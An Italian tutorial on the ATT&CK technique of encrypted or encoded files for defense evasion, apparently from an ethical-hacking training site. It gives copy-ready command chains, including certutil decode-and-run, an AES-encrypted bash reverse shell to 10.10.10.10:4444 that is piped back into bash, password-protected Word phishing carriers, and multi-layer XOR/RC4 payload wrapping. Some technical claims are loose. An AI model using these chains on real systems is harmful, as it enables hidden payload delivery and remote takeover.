File Offuscati: Encrypted/Encoded File (T1027.013)

Un file cifrato o codificato rappresenta una delle tecniche più eleganti per nascondere contenuti malevoli. Gli attaccanti trasformano file eseguibili, script o configurazioni in stringhe apparentemente innocue usando cifrature come RC4 o semplici encoding Base64. Questa tecnica appartiene alla tattica Defense Evasion (TA0005), posizionandosi nella fase di Installation della kill chain quando i payload vengono distribuiti sul sistema target.

La diffusione di questa tecnica è impressionante: 37 gruppi APT la utilizzano attivamente, da APT28 con i suoi payload cifrati tramite RTL personalizzato a Lazarus Group che combina AES, RC4 e Base64 in strati multipli. Oltre 172 famiglie di malware implementano varianti di questa tecnica, mentre 12 campagne documentate hanno fatto dell'offuscamento dei file un elemento centrale delle loro operazioni.

L'impatto va oltre la semplice evasione delle firme statiche. I file cifrati possono attraversare gateway di sicurezza, sopravvivere a scansioni antivirus e rimanere dormienti per settimane prima di essere decodificati al momento dell'esecuzione. Archive self-extracting (SFX) protetti da password e documenti Word cifrati sono diventati vettori privilegiati per il phishing mirato.

Iniziamo con l'approccio classico su Windows. Il comando certutil.exe -encode payload.exe encoded.txt trasforma qualsiasi eseguibile in Base64. Per decodificare e lanciare: certutil.exe -decode encoded.txt decoded.exe && decoded.exe. Questa sequenza bypassa molti controlli statici perché certutil è un tool legittimo di sistema.

Su Linux la versatilità aumenta. Una catena d'attacco realistica combina encoding e cifratura: echo 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' | base64 | openssl enc -aes-256-cbc -salt -pass pass:mysecret -out payload.enc. Per l'esecuzione: openssl enc -d -aes-256-cbc -pass pass:mysecret -in payload.enc | base64 -d | bash. Questo approccio replica le tecniche di menuPass che usa XOR con chiave 0x40 sui suoi payload.

macOS offre possibilità uniche tramite resource fork. Il comando xattr -w com.apple.ResourceFork $(openssl rand -base64 4096) innocent.txt nasconde dati cifrati nei metadati del file. Per payload più sofisticati: plutil -convert binary1 -o - malicious.plist | openssl enc -rc4 -K $(openssl rand -hex 16) > encrypted.plist.

I documenti Office protetti da password sono vettori eccellenti. PowerShell permette automazione completa: $word = New-Object -ComObject Word.Application; $doc = $word.Documents.Open("C:\temp\doc.docx"); $doc.Password = "infected"; $doc.SaveAs2("C:\temp\protected.docx", 16). Il documento risultante funziona come un SFX archive che richiede interazione dell'utente per decifrare il contenuto malevolo.

Per simulare APT32 che usa il framework DKMC, create payload multi-layer: prima Base64, poi XOR, infine RC4. Python eccelle in questo: import base64; data = open('payload.bin','rb').read(); b64 = base64.b64encode(data); xored = bytes([b ^ 0x55 for b in b64]). L'inversione richiede la stessa sequenza al contrario, replicando il comportamento dei dropper reali.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo